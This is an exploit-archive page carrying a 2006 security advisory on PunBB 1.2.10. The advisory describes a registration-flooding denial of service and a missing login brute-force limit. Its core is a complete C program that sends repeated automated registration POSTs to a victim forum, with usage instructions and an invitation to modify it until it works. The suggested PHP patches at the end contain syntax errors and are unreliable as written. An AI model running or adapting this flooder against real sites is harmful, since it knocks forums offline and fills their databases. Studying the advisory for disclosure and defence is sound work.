exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PunBB1.2.10.txt

PunBB1.2.10.txt
Posted Feb 22, 2006
Authored by Paisterist | Site neosecurityteam.net

PunBB 1.2.10 database flooding Denial of Service exploit.

tags | exploit, denial of service
SHA-256 | 5210d0ac87a7a438eeab25fb386320adbf49039923ad536d5524db34c2a4e8fa

PunBB1.2.10.txt

Change Mirror Download
/*
---------------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST]® PunBB 1.2.10 Multiple DoS Vulnerabilities
---------------------------------------------------------------
Program : PunBB 1.2.10
Homepage: http://www.punbb.org
Vulnerable Versions: PunBB 1.2.10 & lower ones
Risk: Critical!
Impact: Denial of service by registering too many users (Critical)
Possible bruteforce attack to login (Low)

-> PunBB 1.2.10 Multiple DoS Vulnerabilites <-
---------------------------------------------------------------

- Description
---------------------------------------------------------------
In short, PunBB is a fast and lightweight PHP powered discussion board.
It is released under the GNU Public License. Its primary goal is to be
a faster, smaller and less graphic alternative to otherwise excellent
discussion boards such as phpBB, Invision Power Board or vBulletin.
PunBB has fewer features than many other discussion boards, but is
generally faster and outputs smaller pages.

- Tested
---------------------------------------------------------------
Tested in localhost & many forums

- Bug
---------------------------------------------------------------
1- [ Denial of service ]
When the register query happens, the script doesn't check if the IP
had registered another user before shortly.

This bug can lead to some 'nasty' consecuences:

- No more space in database.
- A parsing efficiency penalty.
- A headache for the admin trying to eliminate the users.
- Server undefined time out of service (Denial of service)

Here is the code:

$now = time();

$intial_group_id = ($pun_config['o_regs_verify'] == '0') ?
$pun_config['o_default_user_group'] : PUN_UNVERIFIED;
$password_hash = pun_hash($password1);

// Add the user
$db->query('INSERT INTO '.$db->prefix.'users (username, group_id, password,
email, email_setting, save_pass, timezone, language, style, registered,
registration_ip, last_visit) VALUES(\''.$db->escape($username).'\',
'.$intial_group_id.', \''.$password_hash.'\', \''.$email1.'\', '.$email_setting.',
'.$save_pass.', '.$timezone.' , \''.$db->escape($language).'\', \'
'.$pun_config['o_default_style'].'\', '.$now.', \''.get_remote_address().'\',
'.$now.')') or error('Unable to create user', __FILE__, __LINE__, $db->error());

$new_uid = $db->insert_id();

// If we previously found out that the e-mail was banned
if ($banned_email && $pun_config['o_mailing_list'] != '')
{
$mail_subject = 'Alert - Banned e-mail detected';
$mail_message = 'User \''.$username.'\' registered with banned
e-mail address: '.$email1."\n\n".'User profile: '.$pun_config
['o_base_url'].'/profile.php?id='.$new_uid."\n\n".'-- '."\n".
'Forum Mailer'."\n".'(Do not reply to this message)';

pun_mail($pun_config['o_mailing_list'], $mail_subject, $mail_message);
}

Before this code, there is no other query that checks against database flooding.

2- [ Possible bruteforce attack method to login ]

Maybe you think this kind of bugs are not bugs, but unfortunately nowadays
there're so many pepole that practise this kind of attacks.
When a user registers, the forum say that the password should be at least 4 bytes
long, if we think a bit, cracking a 4 bytes long password (maybe alphanumeric,
because I'm sure that 90% of passwords are like that) it would take some
time depending of your connection and the server lactancy, but it's possible.
Actually, the server will suffer an efficency penalty, however this bug it's
considered as a `Low risk' bug.

Similar to the above bug, the script doesn't check if the IP has requested
too many times to login without success. An attacker (lame..xD) can make a
bruteforce attack to guess the password of any user he/she wants to.

login.php:

if (isset($_POST['form_sent']) && $action == 'in')
{
$form_username = trim($_POST['req_username']);
$form_password = trim($_POST['req_password']);

$username_sql = ($db_type == 'mysql' || $db_type == 'mysqli') ? 'username=\'
'.$db->escape($form_username).'\'' : 'LOWER(username)=LOWER(\''.
$db->escape($form_username).'\')';

$result = $db->query('SELECT id, group_id, password, save_pass FROM '.
$db->prefix.'users WHERE '.$username_sql) or error('Unable to fetch user
info', __FILE__, __LINE__, $db->error());
list($user_id, $group_id, $db_password_hash, $save_pass) =
$db->fetch_row($result);

$authorized = false;

if (!empty($db_password_hash))
{
$sha1_in_db = (strlen($db_password_hash) == 40) ? true : false;
$sha1_available = (function_exists('sha1') || function_exists('mhash'))
? true : false;

$form_password_hash = pun_hash($form_password);
// This could result in either an SHA-1 or an MD5 hash
(depends on $sha1_available)

if ($sha1_in_db && $sha1_available && $db_password_hash
== $form_password_hash)
$authorized = true;
else if (!$sha1_in_db && $db_password_hash == md5($form_password))
{

- Exploit
---------------------------------------------------------------
[1] - Denial of service
Be considered and don't abuse of this kind of attacks.
The code has been modified, change whatever you think necessary to
make it work. ;)

/*
Name: NST-Exploit Punbb 2.0.10 Denial Of Service
Copyright: NeoSecurity
Author: K4P0

[./]NST-XplPunbb www.victim.com 2.0.0.6 /punbb/

#################################################
PunBB 2.0.10 Denial of Service exploit by K4P0
Use only at your own reputation risk! ;)

www.NeoSecurityTeam.net
#################################################

[1] - Trying if connection is possible...
[2] - Connected!
[3] - Flooding localhost...

Use it at your own risk!.
*/

#define WINDOWS
//#define LINUX

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WINDOWS
#include <winsock2.h>
#include <windows.h>
// Link to (lib)ws2_32.a
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#endif

#define NST_ALIVE 0

int Connect(char*);
void SendPack(int, int, char*, char*);
void _perror(char*);
void HowTo(char*);

int main(int argc, char* argv[])
{
int vict_sock, dos = 0;
puts("#################################################");
puts(" PunBB 2.0.10 Denial of Service exploit by K4P0 ");
puts(" Use only at your own reputation risk! ;) \n");
puts(" www.NeoSecurityTeam.net ");
if(argc < 4) HowTo(argv[0]);
puts("#################################################\n");

printf("[1] - Trying if connection is possible...\n", argv[1]);
fflush(stdout);
vict_sock = Connect(argv[2]);
printf("[2] - Connected!\n");
printf("[3] - Flooding %s", argv[1]);
#ifdef WINDOWS
closesocket(vict_sock);
#else
close(vict_sock);
#endif

while(NST_ALIVE)
{
if(!(dos % 10)) fprintf(stderr, ".");
vict_sock = Connect(argv[2]);
SendPack(vict_sock, dos, argv[3], argv[1]);
dos++;
#ifdef WINDOWS
closesocket(vict_sock);
WSACleanup();
#else
close(vict_sock);
#endif
}
return 0;
}
// I'm to lazy to use gethostby(addr|name) :)
int Connect(char* IP)
{
struct sockaddr_in *_addr;
int vict_sck;

#ifdef WINDOWS
WSADATA wsaData;
if(WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
{
//WSAGetLastError()? Nah...
fprintf(stderr, "[*] WSAStartup() failed");
exit(-1);
}
#endif

if(!(_addr=(struct sockaddr_in *)malloc(sizeof(struct sockaddr_in))))
{
fprintf(stderr, "[*] Unable to reserve memory");
exit(-1);
}

memset(_addr, 0x0, sizeof(struct sockaddr_in));
_addr->sin_family = AF_INET;
_addr->sin_port = htons(80);
_addr->sin_addr.s_addr = inet_addr(IP);

#ifdef WINDOWS
if((vict_sck = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) < 0)
{
fprintf(stderr, "WSASocket() failed");
exit(-1);
}
else
if((vict_sck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
_perror("socket() ");
#endif

if(connect(vict_sck, (struct sockaddr *)_addr, sizeof(struct sockaddr)) < 0)
_perror("connect() ");

free(_addr);
return vict_sck;
}

void SendPack(int v_sck, int var, char* path, char* DNS)
{
char *HTTP_PACK, *HTTP_MPCK, *HTTP_POST;
if(!(HTTP_PACK = (char *)malloc(2048)) || !(HTTP_MPCK = (char *)malloc(1024)) ||
!(HTTP_POST = (char *)malloc(512)))
{
fprintf(stderr, "Error trying to reserver memory");
exit(-1);
}
sprintf(HTTP_PACK, "POST %sregister.php?action=register HTTP/1.1\n"
"Host: %s\n"
"User-Agent: Mozilla/5.0 Gecko/20050511 Firefox/1.0.4\n"
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"
"Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n"
"Keep-Alive: 300\n"
"Proxy-Connection: keep-alive\n"
"Referer: http://%s%sregister.php\n"
"Content-Type: application/x-www-form-urlencoded\n", path, DNS, DNS, path);

sprintf(HTTP_POST, "form_sent=1&req_username=%d__NsT&req_password1=flood&req_password2=flood&"
"req_email1=%d_peace@NsT.net&timezone=-10&email_setting=1", var, var);

sprintf(HTTP_MPCK, "Content-Length: %d\n\n", strlen(HTTP_POST));

strcat(HTTP_PACK, HTTP_MPCK);
strcat(HTTP_PACK, HTTP_POST);
send(v_sck, HTTP_PACK, strlen(HTTP_PACK), 0);

free(HTTP_PACK);
free(HTTP_MPCK);
free(HTTP_POST);
return;
}

void _perror(char* msg)
{
perror(msg);
fflush(stdout);
exit(-1);
}

void HowTo(char* program)
{
fprintf(stderr, "%s <DNS> <IP> <Path>\n", program);
fprintf(stderr, "f.e: ./NsT-XplPunbb www.victim.com 2.0.0.6 /punbb/\n");
fprintf(stderr, "#################################################");
exit(0);
}

// EOF

[2] - Possible brufeforce attack to login
NST will not release any code to exploit this bug.

- Solutions
---------------------------------------------------------------
1- [ Denial Of Service ]
A very simple fix should be implemented:

$now = time();

$intial_group_id = ($pun_config['o_regs_verify'] == '0') ?
$pun_config['o_default_user_group'] : PUN_UNVERIFIED;
$password_hash = pun_hash($password1);

// NeoSecurityTeam PunBB 1.2.10 DoS Patch by K4P0
$reglimit = $now - 60*5; // Lets wait for 5 minutes.
$SQL_Anti_Flood = 'SELECT * FROM '.db->prefix.'users WHERE registration_ip
=\''.get_remote_address().'\' AND registered>\''.$reglimit'\'';
$checkflood = mysql_num_rows(mysql_query($SQL_Anti_Flood));

if($checkflood > 0) error('Please wait some minutes to register again',
'register.php', '', '');
// IP doesn't try to flood our forum, insert user safely. :)

// Add the user
$db->query('INSERT INTO '.$db->prefix.'users (username, group_id,
password, email, email_setting, save_pass, timezone, language, style,
registered, registration_ip, last_visit) VALUES(\''.$db->escape($username).'\',
'.$intial_group_id.', \''.$password_hash.'\', \''.$email1.'\', '.$email_setting.',
'.$save_pass.', '.$timezone.' , \''.$db->escape($language).'\', \''.
$pun_config['o_default_style'].'\', '.$now.', \''.get_remote_address().
'\', '.$now.')') or error('Unable to create user', __FILE__, __LINE__,
$db->error());
$new_uid = $db->insert_id();


// If we previously found out that the e-mail was banned
if ($banned_email && $pun_config['o_mailing_list'] != '')
{
$mail_subject = 'Alert - Banned e-mail detected';
$mail_message = 'User \''.$username.'\' registered with
banned e-mail address: '.$email1."\n\n".'User profile: '.$pun_config 'o_base_url'].
'/profile.php?id='.$new_uid."\n\n".'-- '."\n".'Forum Mailer'."\n".
'(Do not reply to this message)';

pun_mail($pun_config['o_mailing_list'], $mail_subject, $mail_message);
}

2- [ Possible bruteforce attack method to login ]

- Implement a similar code that you can see above.
- Set password of 5 or more characters.

Ok, the 'logical' solution it's the second because nobody can be so stupid to try
to crack a 5 bytes length password remotely! but the `right' one it's the first.

Here you can see a possible fix:
Note: This method needs a new table called ($db->prefix)iptrylog wich
contains when has a IP last try to login unsucecssfully.

Patch Part I : Check if IP is trying to flood.
Patch Part II : If the IP has logged successfully, delete it from the iptrylog table.
Patch Part III: If the IP has logged unsuccessfully, insert it in the iptrylog table.

if (isset($_POST['form_sent']) && $action == 'in')
{
$form_username = trim($_POST['req_username']);
$form_password = trim($_POST['req_password']);

$username_sql = ($db_type == 'mysql' || $db_type == 'mysqli') ? 'username=\'
'.$db->escape($form_username).'\'' : 'LOWER(username)=LOWER(\''.$db->escape
($form_username).'\')';

// NeoSecurityTeam PunBB 1.2.10 Bruteforce login Patch by K4P0 (Part 1/3)
$logintime = time() - 10; // 10 seconds delay.
$SQLoginCheck = 'SELECT * FROM '.db->prefix.'iptrylog WHERE ip=\'
'.getremoteaddress().'\' and lastry>=\''.$logintime.'\'';

$check = mysql_num_rows(mysql_query($SQLoginCheck));
if($check > 0) error('Please wait some minutes to login again',
'login.php', '', '');
// End of part 1 of patch, see below

$result = $db->query('SELECT id, group_id, password, save_pass FROM
'.$db->prefix.'users WHERE '.$username_sql) or error('Unable to fetch
user info', __FILE__, __LINE__, $db->error());
list($user_id, $group_id, $db_password_hash, $save_pass) = $db->fetch_row($result);

$authorized = false;

if (!empty($db_password_hash))
{
$sha1_in_db = (strlen($db_password_hash) == 40) ? true : false;
$sha1_available = (function_exists('sha1') || function_exists('mhash'))
? true : false;

$form_password_hash = pun_hash($form_password); // This could result
in either an SHA-1 or an MD5 hash (depends on $sha1_available)

if ($sha1_in_db && $sha1_available && $db_password_hash ==
$form_password_hash)
$authorized = true;
else if (!$sha1_in_db && $db_password_hash == md5($form_password))
{
$authorized = true;

// NeoSecurityTeam PunBB 1.2.10 Login Patch by K4P0 (Part 2/3)
@mysql_query('DELETE FROM '.db->prefix.'iptrylog.' WHERE ip=\'
'.getremoteaddress().'\'');
// End of Part 2.
if ($sha1_available) // There's an MD5 hash in the database,
but SHA1 hashing is available, so we update the DB
$db->query('UPDATE '.$db->prefix.'users SET password=\'
'.$form_password_hash.'\' WHERE id='.$user_id) or error
('Unable to update user password', __FILE__, __LINE__, $db->error());
}
}

if (!$authorized)
{
// NeoSecurityTeam PunBB 1.2.10 login Patch by K4P0 (Part 3/3)
@mysql_query('INSERT INTO '.db->prefix.'iptrylog (ip, lastry) VALUES
(\''.getremoteaddress().'\', \''.$logintime+10.'\')');

message($lang_login['Wrong user/pass'].' <a href="login.php?
action=forget">'.$lang_login['Forgotten pass'].'</a>');
}

- References
---------------------------------------------------------------
http://www.neosecurityteam.net/advisories/Advisory-16.txt

- Credits
--------------------------------------------------------------
Discovered by K4P0 -> k4p0k4p0[at]hotmail[dot]com

[N]eo [S]ecurity [T]eam [NST]® - http://NeoSecurityTeam.net/

Irc.InfoGroup.cl #neosecurityteam

- Greets
---------------------------------------------------------------
Paisterist
HaCkZaTaN
Link
Daemon21
erg0t
NST Comunity!

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@@@@'''''@@@''''
'@@'''@@@@'''''''''@@@''''@@@''''
@@@@''''@@'@@@@@@@@@@''''@@@@@'''
*/
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close